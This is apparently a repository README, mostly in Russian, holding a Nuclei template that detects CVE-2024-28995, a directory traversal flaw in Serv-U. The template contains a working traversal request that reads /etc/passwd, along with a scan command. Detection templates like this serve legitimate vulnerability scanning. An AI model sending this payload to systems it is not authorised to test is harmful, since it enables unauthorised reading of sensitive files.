huseyinstif/cve-2024-28995-nuclei-templateШаблон Nuclei для обнаружения CVE-2024-28995, уязвимости обхода пути в FTP-сервере Serv-U, позволяющей чтение файлов через специально созданные HTTP-запросы.
Проверяет наличие уязвимости обхода каталога в Serv-U версии 15.4.2 и ниже, позволяющей читать чувствительные файлы, такие как /etc/passwd.
id: CVE-2024-28995
info:
name: Serv-U Directory Traversal Vulnerability
author: Hüseyin TINTAŞ
severity: high
description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
reference:
- https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
tags: pathtraversal,cve,high,serv-u
requests:
- method: GET
path:
- "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
matchers-condition: and
matchers:
- type: word
words:
- "root:x:"
- "daemon:x:"
- "bin:x:"
part: body
- type: status
status:
- 200
- type: word
words:
- "Server: Serv-U"
part: header
Чтобы использовать этот шаблон с Nuclei, сохраните содержимое шаблона в файл с именем CVE-2024-28995.yaml и выполните следующую команду:
nuclei -t CVE-2024-28995.yaml -u <target-url>
Замените <target-url> на URL целевого ресурса, который вы хотите просканировать.
По любым вопросам или для получения дополнительной информации вы можете связаться со мной через: